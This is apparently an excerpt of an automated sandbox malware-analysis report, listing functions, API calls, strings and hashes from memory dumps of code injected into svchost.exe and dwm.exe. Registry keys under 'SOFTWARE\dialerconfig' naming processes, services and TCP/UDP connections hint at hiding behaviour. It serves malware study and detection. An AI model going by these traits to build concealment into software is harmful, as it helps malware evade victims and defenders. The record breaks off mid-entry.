csm, xrefs: 00000158709AA1C2
csm, xrefs: 00000158709AA2DA

Memory Dump Source

Source File: 0000002C.00000002.3045643461.00000158709A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709a0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: ad2e3dc20faeaab019d23fdd26e7ac47928873f210296601eed610e87e364d0a
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: C051D1BA108A80CBEF648B15984439877A0F3DCB96F284116DA596BBC5CF39D462EF40

Function 00000158709DAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000158709DADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000158709DAE88

Strings

csm, xrefs: 00000158709DAEDA
csm, xrefs: 00000158709DADC2

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: c55e6b89f1deeede7607d44a4678232a21c5566193418bc64356b270fa1dde39
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 8A51B57A148B88CAEB748F25D9443D977A0F3D8B96F244115DA496BBD6CF34C462CF00

Function 00000158709A8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000158709A8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000158709A84A8

Strings

f, xrefs: 00000158709A8426
csm, xrefs: 00000158709A848E

Memory Dump Source

Source File: 0000002C.00000002.3045643461.00000158709A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 522bc94808ccd0891ba8f4ee668879e4334006ea7c9bfdc7b7a578e3ad5792e1
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4F51E7BAB15A00CAD754CF15D808B9AB395F3C8B99F609064EE066B748EF34CC42DF04

Function 00000158709A83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000158709A8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000158709A84A8

Strings

f, xrefs: 00000158709A8426
csm, xrefs: 00000158709A848E

Memory Dump Source

Source File: 0000002C.00000002.3045643461.00000158709A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 425ae51dfe7bd6ea10f93c1d87e22065c9b592431508976835fcf9b4f7ab9431
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 1131D1B9615B40DAE710DF11EC4879AB7A4F3C8B9AF258014EE4A6B794DF38C942DB04

Function 00000158709E2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000158709E20D7
WriteFile.KERNEL32 ref: 00000158709E239F
WriteFile.KERNEL32 ref: 00000158709E23E5
GetLastError.KERNEL32 ref: 00000158709E249B

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 30429b6e85d52d015e3732def11cd14d4559421b5eb639c62a2224f3fa9bfba5
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 66D1CF77714A80C9E711CF65D8403DC3BA1F398799F24421ADE59ABBA9EE34C927CB40

Function 00000158709D14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000158709D14C5
HeapFree.KERNEL32 ref: 00000158709D14D4
GetProcessHeap.KERNEL32 ref: 00000158709D14E1
HeapFree.KERNEL32 ref: 00000158709D14F0
GetProcessHeap.KERNEL32 ref: 00000158709D1500

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 6c2322820e03c340fe85ce000d17cb2736a86ce4299153c466e268a4634f297b
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: CF014C3B608E94D6D705DF66ED0428A77A1F78CFC2F144429EA4967729DE38C462CB40

Function 00000158709E2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000158709E2A9C
GetLastError.KERNEL32 ref: 00000158709E2B27

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 9698fe35d1373322723ac282d06d8dd41e13e0f968837ab8ea655e484caeaefb
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 45918E7B610A54C5F7609F65DC403ED3BA0B789B8AF38411DDE4A7B6A5DE34C8A38B00

Function 00000158709D7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000158709D798C
GetCurrentThreadId.KERNEL32 ref: 00000158709D799A
GetCurrentProcessId.KERNEL32 ref: 00000158709D79A6
QueryPerformanceCounter.KERNEL32 ref: 00000158709D79B6

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: d83516dcc5bf840c11a0c3c522cc2f90a05092959f30cd3160fc22130dc72981
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: A9115A3A714F00CAEB00CF60EC543A833A4F79D769F540E21EA6D5A7A4DF78D5A98780

Function 00000158709D253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000158709D2620
StrCpyW.SHLWAPI ref: 00000158709D2639

Strings

\\.\pipe\, xrefs: 00000158709D262B

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: f47752b0ae6f6901657473cb0ccd733c6e7a9ca02a6f2b5df069b7bf189e1af2
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: C571C23A248F89C6E7349E25DC443EA7794F3DDB86F640026DD496BB8ADE35C646CB00

Function 00000158709A9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000158709A9EB7

Strings

RCC, xrefs: 00000158709A9E85
MOC, xrefs: 00000158709A9E7C

Memory Dump Source

Source File: 0000002C.00000002.3045643461.00000158709A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709a0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 489574c67d8b5b6cc54a2877ae297f4e8f41fd0bb560a578f5265c3132118aee
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 3761497A608B44CAEB20DF65D8403DD77A0F388B89F244215EF492BB99DF38D556DB40

Function 00000158709D2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000158709D2416
StrCpyW.SHLWAPI ref: 00000158709D242D

Strings

\\.\pipe\, xrefs: 00000158709D2421

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: babde32fb5154fc8530fc586cff3b7450ac821e147294971176bd01e01761f2d
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: B051E63A24CB89C1E6359B29E8583EA7751F3ED782F640125DD492BB6BCE39C5068F40

Function 00000158709E26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000158709E2807
GetLastError.KERNEL32 ref: 00000158709E2829

Strings

U, xrefs: 00000158709E27B3

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 21ff62e2b89e22826b140db66bb7822c727ad4cd8fe966186e5f0310e84707f2
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 8841A037219A80C2DB208F25E8443EAB7A0F79C795F644025EE4D9B798EF3CC952CB40

Function 00000158709D94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000158709D94F0
RaiseException.KERNEL32 ref: 00000158709D9531

Strings

csm, xrefs: 00000158709D951E

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 20f4be22c22dfa457ef3525fbc3f7e3b2bed3974d008a9829f0cdff42773ce01
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 8D112B36218F84C2EB619B15F94039977E5F788B95F684224EE8D1BB69DF3CC952CB00

Function 00000158709A7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000158709A737C

Strings

riptor at (, xrefs: 00000158709A7364
ierarchy Descriptor', xrefs: 00000158709A7381

Memory Dump Source

Source File: 0000002C.00000002.3045643461.00000158709A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709a0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 3b3cf7cab3b32b493eb2ba88bbe49323af7bffc66ca1579de9ffd3a8dc560e24
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 13E086B1640F44D0DF018F61EC403D873A0DB9CB68BA89122D95C5A311FE38D5FAC700

Function 00000158709A73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000158709A73D8

Strings

riptor at (, xrefs: 00000158709A73C0
Locator', xrefs: 00000158709A73DD

Memory Dump Source

Source File: 0000002C.00000002.3045643461.00000158709A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709a0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 8b563b15b0da3dea3b2a42213421ba672c2fb53560027d55dbb8324bba71f4a8
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: EDE08671600F44D0DF028F61D8403D87360E79CB68B989122C94C5A311EE38D5E6C700

Function 00000158709D1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000158709D1C2D
HeapAlloc.KERNEL32 ref: 00000158709D1C3B
GetProcessHeap.KERNEL32 ref: 00000158709D1C77
HeapFree.KERNEL32 ref: 00000158709D1C85

Part of subcall function 00000158709D152C: StrCmpIW.SHLWAPI ref: 00000158709D155D

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 29c7f6ae37fee443e275d0900ba1dffe24d5f51a1d6125abf64e6308baa90841
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: B2118E3A615F48C1EA048B66A8043A977A0E7CDFC2F2840289E8D6B766DE38C852C700

Function 00000158709D1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000158709D126E
HeapAlloc.KERNEL32 ref: 00000158709D127D
GetProcessHeap.KERNEL32 ref: 00000158709D1297
HeapAlloc.KERNEL32 ref: 00000158709D12A8

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 0df0b71972fc614dcc7a18976dac37df89d2385fd46c5fb6c76c0ed9fa5f8c47
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 24E0653A601A04C6E7058F52DC0838E3AE1FBCDF56F14C014C9090B361DF7D88A6CB50

Analysis Process: dwm.exePID: 984, Parent PID: 4620COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	95.2%
Signature Coverage:	0%
Total number of Nodes:	124
Total number of Limit Nodes:	16

Executed Functions

Function 0000026DB16E1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000026DB16E1633
HeapAlloc.KERNEL32 ref: 0000026DB16E1642

Part of subcall function 0000026DB16E1268: GetProcessHeap.KERNEL32 ref: 0000026DB16E126E
Part of subcall function 0000026DB16E1268: HeapAlloc.KERNEL32 ref: 0000026DB16E127D
Part of subcall function 0000026DB16E1268: GetProcessHeap.KERNEL32 ref: 0000026DB16E1297
Part of subcall function 0000026DB16E1268: HeapAlloc.KERNEL32 ref: 0000026DB16E12A8

RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E16B2
RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E16DF
RegCloseKey.ADVAPI32 ref: 0000026DB16E16F9
RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E1719
RegCloseKey.ADVAPI32 ref: 0000026DB16E1734
RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E1754
RegCloseKey.ADVAPI32 ref: 0000026DB16E176F
RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E178F
RegCloseKey.ADVAPI32 ref: 0000026DB16E17AA
RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E17CA
RegCloseKey.ADVAPI32 ref: 0000026DB16E17E5
RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E1805
RegCloseKey.ADVAPI32 ref: 0000026DB16E1820
RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E1840
RegCloseKey.ADVAPI32 ref: 0000026DB16E185B
RegOpenKeyExW.ADVAPI32 ref: 0000026DB16E187B
RegCloseKey.ADVAPI32 ref: 0000026DB16E1896
RegCloseKey.ADVAPI32 ref: 0000026DB16E18A0

Part of subcall function 0000026DB16E12BC: RegQueryInfoKeyW.ADVAPI32 ref: 0000026DB16E1319
Part of subcall function 0000026DB16E12BC: GetProcessHeap.KERNEL32 ref: 0000026DB16E1327
Part of subcall function 0000026DB16E12BC: HeapAlloc.KERNEL32 ref: 0000026DB16E1338
Part of subcall function 0000026DB16E12BC: RegEnumValueW.ADVAPI32 ref: 0000026DB16E1397
Part of subcall function 0000026DB16E12BC: GetProcessHeap.KERNEL32 ref: 0000026DB16E13DF
Part of subcall function 0000026DB16E12BC: HeapAlloc.KERNEL32 ref: 0000026DB16E13ED
Part of subcall function 0000026DB16E12BC: GetProcessHeap.KERNEL32 ref: 0000026DB16E140A
Part of subcall function 0000026DB16E12BC: HeapFree.KERNEL32 ref: 0000026DB16E1418
Part of subcall function 0000026DB16E12BC: lstrlenW.KERNEL32 ref: 0000026DB16E1421
Part of subcall function 0000026DB16E12BC: GetProcessHeap.KERNEL32 ref: 0000026DB16E142F
Part of subcall function 0000026DB16E12BC: HeapAlloc.KERNEL32 ref: 0000026DB16E143D

Strings

pid, xrefs: 0000026DB16E1712
tcp_local, xrefs: 0000026DB16E17FE
process_names, xrefs: 0000026DB16E174D
SOFTWARE\dialerconfig, xrefs: 0000026DB16E1692
tcp_remote, xrefs: 0000026DB16E1839
udp, xrefs: 0000026DB16E1874
startup, xrefs: 0000026DB16E16D5
service_names, xrefs: 0000026DB16E17C3
paths, xrefs: 0000026DB16E1788

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: caf06e3a7ae408ade61c96a01db05032c2946f9c689eeef9a33856c142e71715
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 74711A36B10A58D6EB109F65EC58A9923B4F794B8CF422211DE4E87B6CDF36C444D784

Function 0000026DB16E3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 0000026DB16E379E
GetCurrentProcess.KERNEL32 ref: 0000026DB16E37CC
VirtualProtectEx.KERNEL32 ref: 0000026DB16E37EE
GetCurrentProcess.KERNEL32 ref: 0000026DB16E3809
VirtualProtectEx.KERNEL32 ref: 0000026DB16E382A

Strings

wr, xrefs: 0000026DB16E37FF

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: c1b776f1f171d88329335a376e3a54bbe2177aecc22c5f7f5ced1c15b629d782
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: AE115B36B04B4982EF149B25E80C66A73B0FB88B89F560129DE8907798EF3EC645C744

Function 0000026DB16E5B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026DB16E5B6B
GetThreadContext.KERNEL32 ref: 0000026DB16E5CD5

Part of subcall function 0000026DB16E5960: GetCurrentThreadId.KERNEL32 ref: 0000026DB16E5964

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction ID: e55c7541e7d7c01b9be2990fd0903ff26b56a147aad62ace7f121fcecd3d64cb
Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction Fuzzy Hash: 3FD1B877715B88C1DA709B0AE89835A77A0F388B88F514216EACD47BADDF7DC541CB40

Function 0000026DB16E50D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026DB16E5156

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction ID: cfc79b96a5dd46a204b3d5188f1049b40703d56b0f44985e16ab108cabda03a3
Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction Fuzzy Hash: 8502C637A19B8886E760CB55E89835AB7A0F3C5788F514115EA8E87BACDB7DC484CB40

Function 0000026DB16E39E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 0000026DB16E3A66
VirtualAlloc.KERNEL32 ref: 0000026DB16E3AA0

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 0304771774ab67e0485e26c6c9f772f1dd4a43ec4c2198e8b4c210690502c9cd
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: A2311733F19A8881EB30DB19E85935E66A4F38478CF910615F9CD4679CDF7EC6908B84

Function 0000026DB16E328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000026DB16E32AE
PathFindFileNameW.SHLWAPI ref: 0000026DB16E32BD

Part of subcall function 0000026DB16E3844: StrCmpNIW.SHLWAPI ref: 0000026DB16E385C

Part of subcall function 0000026DB16E3790: GetModuleHandleW.KERNEL32 ref: 0000026DB16E379E
Part of subcall function 0000026DB16E3790: GetCurrentProcess.KERNEL32 ref: 0000026DB16E37CC
Part of subcall function 0000026DB16E3790: VirtualProtectEx.KERNEL32 ref: 0000026DB16E37EE
Part of subcall function 0000026DB16E3790: GetCurrentProcess.KERNEL32 ref: 0000026DB16E3809
Part of subcall function 0000026DB16E3790: VirtualProtectEx.KERNEL32 ref: 0000026DB16E382A

CreateThread.KERNEL32 ref: 0000026DB16E330B

Part of subcall function 0000026DB16E1D14: GetCurrentThread.KERNEL32 ref: 0000026DB16E1D1F

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 0d4b71f337af7754d2011275c9627001d759e6898a4a482cf8597ea20c60ca1f
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: A3118433F1078DC2FB609B21FD4DB692294BB5434CFD2532899068269DEF7BC28886C0

Function 0000026DB16E4DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0000026DB16E4DF4
VirtualProtect.KERNEL32 ref: 0000026DB16E4E37
FlushInstructionCache.KERNEL32 ref: 0000026DB16E4E4C

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

